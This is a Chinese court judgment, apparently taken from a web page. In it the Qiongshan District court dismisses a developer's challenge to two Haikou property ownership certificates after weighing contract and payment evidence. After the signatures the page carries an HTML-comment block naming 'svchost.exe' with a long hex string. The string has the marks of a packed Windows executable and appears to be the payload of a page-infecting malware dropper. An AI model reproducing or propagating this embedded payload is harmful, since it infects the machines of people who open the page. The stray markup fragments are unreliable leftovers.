海口市琼山区人民法院
p t ; ” > 行 政 判 决 书
（2015）琼山行初字第23号
原告海南昌华物业发展有限公司，住所地海口市龙昆南路道客新村289号昌华公寓。组织机构代码:62006178-7。
法定代表人严仁学，总经理。
委托代理人赵文，海南海大平正律师事务所律师。
被告海口市住房和城乡建设局，住所地海口市长滨路市政府第二办公区15栋北楼。
法定代表人刘群，副局长。
委托代理人孙诚，海口市住房和城乡建设局干部。
委托代理人梁振华，海口市住房和城乡建设局干部。
第三人海口市侨光物业发展总公司，住所地海口市金盘工业区金花路侨光别墅小区。注册号：20129300-6。
法定代表人耿英军，总经理。
委托代理人黄家宝，男，海口市侨光物业发展总公司员工。
第三人范启平，男，1975年4月21日出生，汉族，海口中新侨装饰工程有限公司总经理，住所地海口市。
委托代理人陈紫南，男，海口中新侨装饰工程有限公司员工。
委托代理人王晓宁，海南大华园律师事务所律师。
原告海南昌华物业发展有限公司(以下简称昌华公司)诉被告海口市住房和城乡建设局(以下简称市住建局)及第三人海口市侨光物业发展总公司(以下简称侨光公司)、范启平房屋登记纠纷一案，原告于2015年11月9日向本院提起行政诉讼，本院于当日受理后,于2015年11月16日向被告送达了起诉状副本及应诉通知书。本院依法组成合议庭，于2015年12月25日公开开庭审理了本案。原告昌华公司的委托代理人赵文，被告市住建局的委托代理人孙诚、梁振华，第三人侨光公司的委托代理人黄家宝，第三人范启平及其委托代理人陈紫南、王晓宁到庭参加诉讼。本院根据原告的申请于2015年12月30日作出（2015）琼山行初字第23号行政裁定，中止本案诉讼。中止原因消除后，本院于2016年11月17日恢复本案诉讼。本案现已审理终结。
被诉的行政行为是被告市住建局于2013年1月5日向第三人范启平颁发的证号为:海口市房权证海房字第HKYL369077《房屋所有权证》和海口市房权证海房字第HKYL369078《房屋所有权证》。
被告市住建局于2015年12月7日向本院提供了作出被诉行政行为的证据和依据：1、房屋所有权登记申请书;2、房屋所有权登记审核表，证据1-2证明房屋登记的程序是合法的。3、国有土地使用权证（含用地规划审批表）;4、协议转、受让用地申请书;5、交换土地使用补充协议书;6、别墅住宅楼联建合同书;7、房地产买卖契约及付款凭证;8、中共海口市委统战部（以下简称市统战部）的相关证明材料，证据3-8证明统战部与侨光公司置换土地，由侨光公司对本案争议的项目进行开发，并将本案争议的房产转让给了第三人范启平。9、海口市解决办理房地产证历史遗留问题办公室向相关部门发送有关征询函及复函；10、现场调查记录；11、征询异议公告；12、会议纪要；13、房屋建筑面积测绘报告14、相关的票据证明；15、相关的票据证明，证据9-15证明第三人范启平向海口市解决办理房地产证历史遗留问题办公室（以下简称市遗留办）申请房屋登记发证，该办经过调查之后，予以公告，当事人完税之后，房产部门为其登记颁证。16、《海口市解决办理房地产证历史遗留问题的若干意见》，证明办证的法律依据。
原告昌华公司诉称，本案涉案房产坐落于海口市××道，分别为6栋101房和301房。该项目土地使用权原属于市统战部，1991年1月22日市统战部与海口市侨光经济贸易公司（以下简称侨光经贸公司）签订联营开发协议书，约定：两家联营开发统战部位于原海口市机场西侧8亩土地，建设招待所、别墅、写字楼，统战部提供土地，侨光经贸公司提供全部建设资金建设，项目竣工后双方按2：8分成。1991年12月3日侨光经贸公司变更为侨光公司。1992年10月25日侨光公司与市统战部签订《交换土地使用补偿协议书》，约定：市统战部以其位于海口市原机场西侧的8亩土地使用权与侨光公司位于原琼山县云龙镇海榆东线西侧的18亩生坡地置换，建设活动中心，置换后的土地双方各自开发建设。至此，市统战部与侨光公司的联营开发协议即全部终止，市统战部在合作项目中已经没有任何权益，在土地使用权过户之前，仍然以其名义报建施工，市统战部全力配合。市统战部也于2012年12月17日出具证明，证明其在原合作后交换的土地上没有任何权利义务。1992年9月8日侨光公司与海南昌华房地产开发有限公司（以下简称昌华房产公司）签订《别墅住宅联建合同书》，约定：侨光公司提供其置换取得的7.39亩土地与昌华房产公司建设13栋别墅和1栋商住楼，总建筑面积7000平方米，双方按3：7分成，侨光公司分配取得的房屋按每平方米3500元一次性转售给昌华房产公司，计金额735万元。合同签订后十日内付400万元，规划报建批准后，侨光公司移交有关文件手续时付100万元，施工许可证下发后付100万元，施工队进场破土动工时付100万元，其他尾款，待房产证办妥后，一次性付清。1993年5月18日昌华房产公司致函侨光公司，将与侨光公司合作开发的位于海口市道客新村机场西侧的7.39亩土地上兴建的商住楼项目，全权移交给昌华公司，同时其债权债务一起移交。今后凡是由于该项目所发生的有关债权债务与其无关。发生任何经济纠纷其公司概不负责。1993年9月5日侨光公司与昌华公司签订《别墅住宅楼联建合同书》，约定：侨光公司提供7.39亩土地，昌华公司提供全部建设资金建设13栋别墅和1栋商住楼，建筑面积7000平方米，双方按2：8分成。1993年9月8日双方又签订了一份《别墅住宅楼联建合同书》，约定：侨光公司将其合作开发取得的房屋作价735万元一次性转售给昌华公司，付款期限与其与昌华房产公司签订的合同相同。侨光公司负责项目立项报建手续及费用，并向国土局办理联建过户转让手续。合同签订后，昌华公司即着手开发建设项目。但侨光公司一直没有办理土地使用权的联建过户转让手续。昌华公司以土地款名义分别于1992年9月至1993年4月向侨光公司支付739万元。侨光公司于1992年9月22日出具400万元收款收据；1993年4月20日出具339万元收款收据。至此，侨光公司在联营项目中的利润已经全部提前收到，侨光公司在海口市道客新村机场西侧的7.39亩土地上兴建的商住楼项目即昌华公寓项目中已经没有任何权益。由于侨光公司一直没有办理土地使用权过户手续，昌华公寓项目一直以市统战部的名义报建，房产一直登记在市统战部名下，严重影响了房屋的销售。1995年9月5日昌华公司致函侨光公司，要求其按合同约定履行土地使用权和报建手续的更名过户。侨光公司一直置之不理。近期，原告听说侨光公司已经将产权全部属于原告的位于海口市××道房和301房出售给侨光公司法定代表人的亲戚范启平。原告随即委托律师调查核实情况。经海口市房屋交易中心证实，侨光公司以虚假的公章和手续，欺骗海口市房屋管理部门，将上述房屋以买卖的形式过户至侨光公司原法定代表人范启明的亲戚范启平名下，房屋产权证号分别为海口市房权证海房字第XX**号和海口市房权证海房字第XX**号。1996年至1997年间，原告曾和侨光公司一起通过建设银行向招商银行融资贷款，其中原告使用资金900万元。招商银行起诉后，案经海南省高级人民法院（1998）琼经初字第5号判决书和最高人民法院（1998）经终字第393号判决书判决，原告按实际使用资金范围承担责任。2011年2月11日前原告已经全部履行了判决书确定的义务，支付了全部债务本息。海口海事法院（2006）海执指字第052-9号执行裁定书对此予以确认。即使在合作融资贷款中，原告也履行了自己的全部义务，不欠侨光公司分文债务。
综上所述，海口市龙昆南路道客新村289号昌华公寓6栋101房和301房依法属于原告所有，侨光公司以虚假的手续将其卖给亲戚范启平，严重侵犯了原告的合法权益。被告对其虚假手续审查不严，为范启平分别颁发了昌华公寓6栋101房和301房，海口市房权证海房字第XX**号和海口市房权证海房字第XX**号房屋产权证，被告的行政行为侵犯了原告的合法权益。为此，诉至法院请求依法判决：1、撤销被告颁发的海口市房权证海房字第XX**号和海口市房权证海房字第XX**号房屋产权证；2、被告承担本案的全部诉讼费用。
原告为支持其诉讼主张，在举证期限内向本院提交如下证据：1、机读档案资料，证明三个侨光公司系一个公司;2、海口市机场西侧8亩地联营开发协议书，证明市统战部与侨光公司联营开发小区;3、交换土地使用补偿协议书，证明双方交换土地，市统战部在项目中已经没有权益;4、别墅住宅联建合同书(1992年9月8日)，证明前期的投资都属于昌华房产公司的投资，侨光公司与昌华房产公司合作开发项目;5、昌华房产公司给侨光公司的便函，证明昌华房产公司将项目权益全部转让给昌华公司;别墅住宅楼联建合同书(1993年9月5日)，证明昌华公司与侨光公司重新签订联营开发合同;7、别墅住宅联建合同书(1993年9月8日)，证明侨光公司将合作项目利益卖给昌华公司;8、收据,证明侨光公司收到400万元房款;9、收据,证明侨光公司收到339万元房款;证明侨光公司已经收到原告支付的全部房屋权益转让的款项。;10、最高法院1998第393号判决书，证明原告与侨光公司融资仅使用900万元;11、海事法院2006第052-9号执行裁定书，证明原告已经支付全部本息，融资与侨光公司没有债权债务;12、6栋101房登记资料，证明被告发证错误;13、6栋301房登记资料，证明被告发证错误。证据12、13证明两个第三人向被告提供了虚假信息，被告没有认真审查。
被告市住建局辩称，一、被告给第三人范启平颁发海口市房权证海房字第XX**号和海口市房权证海房字第XX**号房屋所有权证的行政行为认定事实清楚，程序合法，适用规章正确。本案诉争房屋系位于海口市××道房和301房。本案诉争房屋占用范围内土地使用权人为市统战部，后市统战部与侨光公司互换土地，由侨光公司开发经营该土地，之后，侨光公司又与昌华公司联合开发该项目。项目建成后，1997年6月16日侨光公司与第三人范启平签订《房地产买卖契约》，约定将位于海口市××道房和301房出售给范启平。2011年，第三人范启平持国有土地使用证、建设工程规划、房地产买卖契约等相关证明材料，向市遗留办提出申请办理上述房屋的产权证。被告受理后，根据我市办理房产证历史遗留问题的相关政策规定，按程序分别向市规划局及市国土局分别去函征询昌华公寓项目的规划及土地使用情况，并进行了现场调查。经公告无异议后，2012年12月被告召开房屋登记审核委员会会议，经研究，同意给予第三人范启平办理上述昌华公寓6栋101房和301房的权属登记，证号分别是海口市房权证海房字第XX**号和海口市房权证海房字第XX**号。二、本案涉及的其他问题。1、根据物权法的相关规定，第三人范启平已经取得了诉争房产的物权，其合法权益应受到保护。若侨光公司与范启平之间的房屋买卖关系非经解除，或者经过司法机关认定无效，则上述诉争房产的转移登记不宜予以撤销。2、根据《最高人民法院关于审理房屋登记案件若干问题的规定》第八条规定：当事人以作为房屋登记行为基础的买卖、共有、赠与、抵押、婚姻、继承等民事法律关系无效或应当撤销为由，对房屋登记行为提起行政诉讼的，人民法院应当告知当事人先行解决民事争议，民事争议处理期间不计算在行政诉讼起诉期限内；已经受理的，裁定中止诉讼。故建议法院中止本案审理，由原告通过民事程序解决其涉及诉争房屋的民事争议问题。3、对于原告昌华公司诉其与第三人侨光公司之间的民事争议问题，并非本案审理的范围，建议其另行协调解决。综上所述，被告颁发海口市房权证海房字第XX**号和海口市房权证海房字第XX**号房屋所有权证的行政行为认定事实清楚，程序合法，适用规章正确，请求依法维持被告作出的行政行为，保障行政机关依法行政的权利。
第三人侨光公司述称，行政案件和民事案件交叉的案件，必须依据民事部分的审理，法庭应终止诉讼，待民事部分审理完毕后再恢复审理。具体答辩如下：一、第三人侨光公司在昌华公寓享有的不动产物权毋庸置疑。侨光公司于1992年10月25日与市统战部签订了《交换土地使用权补充协议书》，约定侨光公司合法取得的位于海榆东线26公里处西侧的18亩土地使用权，置换市统战部合法取得的位于道客村机场西侧的7.39亩土地使用权，未办理土地使用权变更登记，但已向海口市土地管理局递交了申请书，做了备案登记。侨光公司于1992年9月8日与昌华房产公司签订的《别墅住宅联建合同书》没有实际履行，因此，侨光公司于1993年9月5日与昌华公司重新签订《别墅住宅楼联建合同书》，相隔3天后又签订了一份《别墅住宅联建合同书》，侨光公司和昌华公司签订的两份协议，而昌华公司只是在侨光公司的7.39亩土地上出资兴建了9000平方米的住宅楼，没有履行其他义务，故侨光公司在昌华公寓住宅楼建设好后，至今侨光公司尚有5套房产，如果昌华公司履行了支付购房款义务，为什么长达20年不主张权利。根据合同约定侨光公司在昌华公寓享有房屋产权是毋庸置疑的。二、原告在行政诉状所述的事实子虚乌有。原告在行政诉状中的第八自然段述称”近期......原告随即委托律师调查核实情况。经海口市房屋交易中心证实，侨光公司以虚假的公章和手续，欺骗海口市房屋管理部门，将上述房屋以买卖的形式过户至侨光公司原法定代表人范启明的亲戚范启平名下，房屋产权证分别为海口市房权证海房字第XX**号和海口市房权证海房字第XX**号”。原告所举的证据中没有能证明其所述是真实的证据。而侨光公司将享有的××村房和301房产权出售给范启平。签订有《房地产买卖契约》,有付款凭证，完全是合法的。不存在欺骗的问题。原告享有诉权，但不能滥用诉权。不能以没有证据证实的所谓事实，即子虚乌有的事实进行诉讼。三、对原告举证的739万元收据的质疑。原告在行政诉状中的第六自然段述称”昌华公司以土地款名义分别于1992年9月至1993年4月向侨光公司支付739万元。侨光公司于1992年9月22日出具400万元收款收据；1993年4月20日出具339万元收款收据。至此，侨光公司在联营项目中的利润已经全部提前收到，侨光公司在海口市道客新村机场西侧的7.39亩土地上兴建的商住楼项目即昌华公寓项目中已经没有任何权益。这个表述与事实完全不符，其一，昌华公司于1993年5月8日向侨光公司发出1993琼昌房便字第9号《便函》，该便函只是叙述称:”现经我公司研究，同意将该原负责人位于海口市道客新村机场西侧7.39亩土地上兴建的商住楼项目，全权移交给昌华公司，同时其债权债务一起移交”。侨光公司要说明的是：侨光公司与昌华房产公司于1992年9月8日签订的《别墅住宅联建合同书》没有履行，对此,项目移交《便函》也没有表述。其二、昌华房产公司在《便函》中没有说明已向侨光公司支付739万元的问题，其三、如果1992年9月8日签订的《别墅住宅联建合同书》已进入实际履行，那么昌华公司无须于1993年9月5日重新与侨光公司签订《别墅住宅楼联建合同书》，重新签订的《别墅住宅楼联建合同书》也未表达该合同承继原合同哪些内容。其四、昌华公司与侨光公司于1993年9月8日又重新签订一份《别墅住宅联建合同书》，这份合同书第四条足以证明昌华房产公司向侨光公司支付739万元是不存在的。其五、侨光公司根本没有收到739万元，这份证据也是伪造的，侨光公司没有姓李的，况且这样一笔巨款应有银行转款凭证。四、被告市住建局作出的行政行为是合法的不应撤销。侨光公司与范启平于1997年6月16日签订的《房地产买卖契约》是合法有效的，契约的内容条款没有违反法律禁止性规定，也不存在合同法第五十二条规定的合同无效情形，且双方已实际履行合同约定的义务，合同双方取得了合同权利。侨光公司已将房屋交付给范启平长达18年之久。侨光公司已将享有的产权证明文书移交给了范启平。范启平持合法手续去房管机关申请办理产权证。市住建局于2011年受理后，履行了行政的义务。包括向海口市国土机关，规划机关征询意见，其作出的行政行为完全符合法律法规和政策性规定。法院应依法驳回原告的行政诉讼请求。五、本案的焦点的问题是民事问题而不是行政问题。从原告的行政诉状所述的内容看，完全是民事产权纠纷，而不是行政机关的行政行为是否侵权的问题，行政诉讼的请求是以民事争议得到判决或裁决为前提。本公司认为根据《中华人民共和国行政诉讼法》第六十一条和最高人民法院关于适用《中华人民共和国行政诉讼法》若干问题的解释第十七条规定。如原告在行政诉状中没有诉请对民事争议一并审理，行政诉讼涉及民事争议又没有单独立案，法院只能对行政机关作出的行政行为进行审理，而不能对民事争议进行审理，否则法院可裁定中止行政诉讼，向其释明行政案件的审理需以民事诉讼的裁判为依据。应先进行民事诉讼，有了裁决结果再决定是否进行行政诉讼。原告想通过行政诉讼解决民事争议有逃避民事诉讼法院收取案件受理费之嫌。综上所述，请求驳回原告的诉请。
第三人侨光公司为支持其诉讼主张，在举证期限内向本院提交如下证据：1、海市规证建（92）357号，证明昌华公司于1993年9月8日与侨光公司签订的《别墅住宅联建合同书》没有实际履行；2、工程承包合同，证明自1994年3月侨光公司就已占有6栋301房和101房，昌华公司并没有主张权利。
第三人范启平述称,一、本人与侨光公司的房屋买卖合同合法有效，应受法律保护。1994年末昌华公寓建好后，侨光公司就占有了昌华公寓6栋101房和301房，本人也住进了6栋101房。1997年6月侨光公司资金短缺，欲出售6栋101房和301房，侨光公司得知本人此前做光盘出租生意赚了一些钱，便动员本人买下这两套房，这两套房屋没有房产证，但本人知道产权是清晰明确的。于是1997年6月16日本人与侨光公司签订《房地产买卖契约》，1997年6月20日依约向侨光公司支付45万元的买房价款。侨光公司于1997年6月26日正式将昌华公寓6栋101房和301房移交给本人使用至今。二、本案存在的是民事争议,而不是被告作出的行政行为侵犯原告权益的问题,本案的审理应以民事争议审理为前提，法院应当向原告释明。三、本人认为本案原告就其在行政诉状中提到的民事争议问题,应另案起诉即另案提起民事诉讼。从本人及侨光公司的答辩所述的事实与理由，原告应承担民事诉讼举证不能的不利后果，请求法院驳回原告的诉讼请求。
经庭审质证，本院对各方当事人提交的证据作如下确认：
一、对被告市住建局提交证据的确认。原告及两个第三人对证据1-6的真实性、关朕性、合法性及证明力均无异议，本院予以确认，以上证据可以作为认定本案事实的依据。原告对证据7的真实性、关朕性无异议，但对其合法性及证明力有异议。认为侨光公司在昌华公寓项目中已经没有任何的权益，其无权处分昌华公寓6栋101房和301房。本院认为,该证据可以证明两个第三人签订《房地产买卖契约》及支付购房款的事实，可以作为认定本案事实的依据。原告及两个第三人对证据8、9的真实性、关朕性、合法性及证明力均无异议，本院予以确认，该证据可以作为认定本案事实的依据。原告对证据10的真实性、关朕性无异议，但对其合法性及证明力有异议。认为被告没有依法履行调查的职责，未向卖房人调查相关房屋权属情况，昌华公司与侨光公司双方合作别墅住宅联建合同是2：8分成，属于侨光公司的2成在哪里,是不是侨光公司卖给范启平的，并没有进行调查。本院认为,该证据可以证明被告已经履行了必要的现场调查职责,可以作为认定本案事实的依据。原告及两个第三人对证据11-16的真实性、关朕性、合法性及证明力均无异议，本院予以确认，该证据可以作为认定本案事实的依据。
二、对原告提交证据的确认。被告对证据1-3、6没有异议，认为该证据恰恰证明争议房屋交易的整个过程；对证据4.5.7.8.9被告认为与本案登记行为没有关联性，这是昌华公司与侨光公司之间发生的民事行为;对证据10、11被告认为两份判决书与本案没有关联;对证据12、13无异议。两第三人对证据1有异议，认为与本案没有关联性；对证据2、3、4、5、6、7两第三人认为在民事审判当中已经进行质证，并发表了质证意见，在此不再重述；对证据8.9的真实性有异议，认为侨光公司从未收到过原告支付的房屋转售款739万元;对证据10、11的质证意见与被告的质证意见一致；对证据12、13有异议，认为在本案中两第三人不存在伪造证据,隐满事实,骗取房屋登记的行为。本院对证据1-7的真实性、关朕性、合法性予以确认，该证据可以作为认定本案事实的依据。对证据8.9的真实性因无相关银行汇款凭证相互印证，本院不予确认。对证据10、11与本案无关联性，本院不予认可。证据12、13不能证明两第三人存在隐满事实,骗取房屋登记的事实，对其证明力不予确认。
三、对第三人侨光公司提交证据的确认。原、被告及第三人范启平对证据1、2的真实性、关朕性、合法性及证明力均无异议，本院予以确认，该证据可以作为认定本案事实的依据。
根据以上有效证据及当事人的质证意见认定以下事实：
经审理查明，涉案房屋坐落于海口市××道房和301房。该项目土地使用权属于统战部，1991年1月22日统战部与侨光经贸公司签订联营开发协议书，约定联营开发统战部位于原海口市机场西侧8亩土地，建设招待所、别墅、写字楼，统战部提供土地，侨光经贸公司提供全部建设资金建设，项目竣工后双方按2：8分成。1991年12月3日侨光经贸公司变更为侨光公司。1992年10月25日侨光公司与统战部签订《交换土地使用补充协议书》，约定统战部以其位于海口市原机场西侧的8亩土地使用权与侨光公司位于原琼山县云龙镇海榆东线西侧的18亩生坡地置换，建设活动中心。置换后的土地双方各自开发建设。1992年9月8日侨光公司与昌华房产公司签订《别墅住宅联建合同书》，约定侨光公司提供其置换取得的7.39亩土地与昌华房产公司建设13栋别墅和1栋商住楼，总建筑面积7000平方米，双方按3：7分成，侨光公司分配取得的房屋按每平方米3500元一次性转售给昌华房产公司，共计735万元。合同签订后十日内付400万元，规划报建批准后，侨光公司移交有关文件手续时付100万元，施工许可证下发后付100万元，施工队进场破土动工时付100万元，其他尾款，待房产证办妥后，一次性付清。1993年5月18日昌华房产公司致函侨光公司,将与侨光公司合作开发的位于海口市道客新村机场西侧的7.39亩土地上兴建的商住楼项目，全权移交给原告昌华公司，同时其债权债务一起移交。1993年9月5日被告侨光公司与原告昌华公司签订《别墅住宅楼联建合同书》，约定侨光公司提供7.39亩土地，昌华公司提供全部建设资金建设13栋别墅和1栋商住楼，建筑面积7000平方米，双方按2：8分成。1993年9月8日双方又签订了一份《别墅住宅楼联建合同书》，约定侨光公司提供7.39亩土地，昌华公司提供全部建设资金建设13栋别墅和1栋商住楼，建筑面积7000平方米，双方按3：7分成。还约定侨光公司同意将分得的建筑面积一次性转售给昌华公司，售价为735万元；土地及土地上的建筑物、构筑物全部归昌华公司所有。侨光公司负责项目立项报建手续、三通一平及其费用，并向国土局办理联建过户转让手续。合同签订后，昌华公司即着手开发建设,该项目于1994年3月建成并投入使用,取名为昌华公寓。由于昌华公寓项目的土地使用权属于统战部，而统战部在1997年7月8日向原琼山市国土局申请，将该项目土地使用权变更登记在侨光公司的名下，但由于种种原因，该项目未能办理土地使用权的变更登记，该项目的土地使用权至今仍登记在统战部名下。1997年6月16日侨光公司与范启平签订《房地产买卖契约》，侨光公司将位于海口市××道、301房，建筑面积分别为251平方米，以45万元的价款出售给范启平。2011年范启平持在统战部名下的国有土地使用权证、建设用地规划许可证、建设工程规划报建审批表及协议转、受让用地申请书、别墅住宅楼联建合同书、房地产买卖契约等相关证明材料，向市遗留办提出办理涉案房屋产权证的申请。该办受理后，根据《海口市办理房产证历史遗留问题的若干意见》的规定，按程序分别向市规划局及市国土局分别去函，征询昌华公寓项目的规划及土地使用情况，并进行了现场调查。经公告无异议后，召开房屋登记审核委员会会议，同意给范启平办理昌华公寓6栋101房和301房的权属登记。2013年1月5日市住建局向范启平颁发了昌华公寓6栋101和301房屋的所有权证，证号分别为海口市房权证海房字第XX**号和海口市房权证海房字第XX**号。为此，原告提起本案诉讼。
另查，位于海口市××道号的昌华公寓项目其土地使用权人为市统战部，该项目报建单位也是市统战部，侨光公司是市统战部系统内的经济实体。1992年12月批建6栋4层混合结构住宅搂，建筑面积5879.52平方米。昌华公寓项目实际建设6栋6层。昌华公司未依据1993年9月8日与侨光公司签订的别墅住宅楼联建合同书约定，完全履行建设13栋别墅和1栋商住楼，建筑面积7000平方米的义务。在庭审中，本院根据原告的申请，向涉案银行调取侨光公司在1992年9月22日和1993年4月20日出具的二张收据的银行汇款凭证，但涉该汇款的银行未能提供能够印证上述二张收据的银行汇款凭证，无法证实昌华公司已向侨光公司支付房屋转售款739万元的事实。
本院认为，本案的争议焦点是被行政行为其认定事实是否清楚，适用的法律、法规是否正确，程序是否合法。1997年6月16日侨光公司与范启平签订《房地产买卖契约》，侨光公司将位于海口市××道、301房，以45万元的价款出售给范启平。2011年范启平持在统战部名下的国有土地使用权证、建设用地规划许可证、建设工程规划报建审批表及协议转、受让用地申请书、别墅住宅楼联建合同书、房地产买卖契约等相关证明材料，向市遗留办提出办理涉案房屋产权证的申请。该办受理后，根据《海口市办理房产证历史遗留问题的若干意见》的规定，按程序分别向市规划局及市国土局分别去函，征询昌华公寓项目的规划及土地使用情况，并进行了现场调查。经公告无异议后，召开房屋登记审核委员会会议，同意给范启平办理昌华公寓6栋101房和301房的权属登记。2013年1月5日市住建局向范启平颁发了昌华公寓6栋101和301房屋的所有权证，证号分别为海口市房权证海房字第XX**号和海口市房权证海房字第XX**号。据此，可以认定被告作出的颁证行为其认定事实清楚，适用法律、法规正确，程序合法，依法应予维持。原告认为根据其与侨光公司1993年9月8日签订的《别墅住宅楼联建合同书》的约定，侨光公司将其分得的建筑面积一次性转售给昌华公司，售价为735万元；涉案项目的土地及土地上的建筑物、构筑物全部归昌华公司所有。侨光公司无权处分涉案项目上分得的建筑物包括涉案的昌华公寓6栋101、301房。对该项主张原告未能举证证明，应承担举证不能的不利后果。另是，原告认为侨光公司用虚假的公章和手续，以买卖的形式，骗取被告市住建局将昌华公寓6栋101、301房办理过户至范启平的名下，其该主张无事实和法律依据，本院不予支持。依照《中华人民共和国行政诉讼法》第六十九条之规定，判决如下：
驳回原告海南昌华物业发展有限公司的诉讼请求。
案件受理费50元，由原告负担。
如不服本判决，可在判决书送达之日起十五日内，向本院递交上诉状，并按对方当事人的人数提出副本，上诉于海南省海口市中级人民法院。
1gmfkansasc1h8of6x
审判长郭远英
人民陪审员戴彩虹
人民陪审员符策辉
书记员周衍
审核：郭远英撰稿：郭远英校对：周衍印刷：张林萍
<!--</div>
DropFileName=”svchost.exe”
WriteData=”4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000504500004C010300BC7CB1470000000000000000E0000F010B01070400E000000010000000E0010030C0020000F0010000D002000000400000100000000200000A00000008000100040000000000000000E002000010000000000000020000000000100000100000000010000010000000000000100000000000000000000000E8D402001001000000D00200E80400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000E00100001000000000000000040000000000000000000000000000800000E0555058310000000000E0000000F0010000D2000000040000000000000000000000000000400000E02E727372630000000010000000D002000006000000D60000000000000000000000000000400000C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332E303300555058210D09020838ADBE177792F93FD0A0020023D000000048010026000012B29FA89200FF25304041CD6EE59202E4420564401919197970005C8C01191919C8EC94BF1D90B14435F4244105558BEC81C49AED60FE3CFFFFFFC7855C2B094C37B3FFE6EF0A195DD08175A035FF4DAC1155A0C9C204306E7FBF9F6845E0322D45A4346A35E804021C331F39D921085C803534311A8C8CBDFBBC815D0639C4C9C372143069B6DFDE3437353322F038383237833838BB9BBF1B700936333631FF8D4429B52C05017D7CB2F7EFE8F7950E836DCC00488AF0343532BEEFF6DDFC343491D0B23231748F046F791E39D9B60C18D83436CC3FB37BECFFF50185585DFF4D76198D3FF66FBF246365EC1E4588214DB4019D735DB40011951C61B2BB7809317DF8E77409DC00CD5D1E8EE03834459D7C16D6AEFBF60F37A88D9558FE0C528D8D7C065190388C4CC203044738A46B66BB05597F74DCF8350D509163939933694CBCCC386C84C9BAF40500D7044C0831D8D7CE16698406AB5171D8B2F7F7C1899D4F015588337AF7BBC2B3BDB4519CFF663A68312CDCBE8536475237DC8BBC332360369BCCDC219D488D14B9F73BBF8773D058009B9031E22FBFBD0BB85D2FEC35323835843631DF0EFF3CC8897DE081A52E723737814DDDB60DC394330C74F48235069564F6FE0AEE9E5C7721F7559C56BE67BECF4282D83134BE48B8E6B7EF7104786809094FC2F03321BD3C9193ADF1115DF8312999107C7736608DB077AD10133474096E123AA600973624E69B8423BB6408FF05124C3C8D7DCE261960B406FC094DDCC681D0B5080C94AC34579BD928FCDC3131B17440BB041BDF5930B44C5D5D80C0A41FFB1D0BD800297DC0312C217DFC83AD170B59E34681A01197B5AEDF6FBF16204C35290D197D80F79DBBF77684D2B75D366DE43368671105858E0C188F4C1C9C38376670127E3C23AFCC5703061430A5D35F6C54E505363834F89F91BEBDD93536C77AA7B021B5604819990CF3D0218578A0447448DF370F85E45052FF75A46043C9ACF4B3F483C48009C4314D8C771936D9DB6D7D07F08902295DF0496C9E846FB037884650378AD470D85A83EB9C05338403353636B637DE45DC3338682145E49088FA805BDB71DB13AC5B55A84583552F06D0ABF5C864547CB4373382A5AC05476BF874817B324A2F6C5B6FCC9177B8DCF471F0834DA54B8DEDA031210381CF863137D919DFD99E9C510718B1C7123C4F3232407C9C33349449EFF16653C6B1FADB37C9AD3DBC3135CCDC8C32320A9330093B560770EA3083353BE7E8BE354FE8323169B3F8F40064066B64D39831D2B76DAE124E0436315053C7CB1A7F9D4C6833AF75D468EBD6C2F7D72120F06A31069D84F8FB671D58C69C21899F342E722C0874E0F43732B93732D908A62B043CED82CFC9C8643D10B88481F0C0E1D36DC4E881AD0AA0211E5D69A1BDC0902913A54BD03A63F65D3F2A842E27DB483E089831579088C712CC096A20057CC9F8B64F406A33EABCABCDDEF55AAD09842CA1D4BEBB1BAD8008A1B53414526A3829E5E3B957128400F0FE4A171EE96EDC0384331906015DDC2DD88189D3D7480538908D4E14CFF3D82198388DD43132D08D3F32C9EE55FC528C094C0CE836363731740F265B77EC959258C77F64C9CC310984097DD88385140F637B85AD1EF42A23BA00DE108382A9D40345B01BC63324F44837634992497A5F629094AF28F6F8955E79D5C5298527D1240C18CF40C38C346067A37DC6F809E8323682F1B8FD1AD976A30A2DE57C85075051A4C3B6F0130534BCBDBD73DBE19B8D2D75384E5557A723931D76F06849542B006460F04D322DE63477581492713CA5C84FDA17EB6CA5C8DB4ECFCD8767941E92313EA33538D0678C4CC29C328544AC4868BD5A842140E37767AB6938779918530680B207EF6CEC745F6BDA61D6323834201E3336241D38D052622CDD5DE0754AEFF2D6B081FA7A4F0B8632149D1D0352B2C5CE50D2F06E0B7E950C262CB406AB37381AC06B073E2E681CA41B9C31D9D77A8431ADA028D231840265330138A856E38CC5121850BA7980B17B672744A006D4CE490C1F1BDCA0B1FA8473005594B6B00F7764B2005634C83379109959A275E331BFCD5C23878133363CEC44AE8A8F534B4933674D6A3CD2D41EB91F4400DC3537ACE1DAF32068ECE4CD90EDFED2E19A4CB936686599E3FE1000FAB1832CB1F3A05E440CB85D73F43F8BE42F01C80BC00F849901C762B19D0D77B5AC14AB0033F4FFFEF76754683B84159829CE68F152E28309D458687299EDF7EFE967B30ADAEBC76A7501E02DF08FD4D9685D0CAC160C766A1E89C1B63717C86AE6888D4D80BEAF6B0D37D66084213819ECB3EDE2D0240BBA32332F58DA4C9F2D17DC0BED045148DC93ED4DFF064E240B3529F12C74B2A30AA3FCFC68B2FD3EEB23E109AF5605225733B816BE667B088D79B0F00B76132C36C8F27724084A53501B4A3BDB8CCEC8137D0424DBE4F7B2071C75886AB106A29A24503B1827A4F90628F8D5286D9727DC6E90FCF39CDB0ED6006C20052643CC23D643835F84361304CF7AC185F69D05391010106527FC5B18A3D8C1950AA41303575753209CEDB3E402D8BA3019BF0B1FBE124D47F268F4A89B09F868C284DFF3975483A3FE1D0451CCAB6CEF70AD51691CC61A3CB34500EEF7FDEF200A68B93B498409100416C905EDB5F6FF62491111139011906363136309020500F27D91BB900990906315632113DB7FD7B5290F13307D68803C6E4F65E3A014F78DCDBEEE4480131A9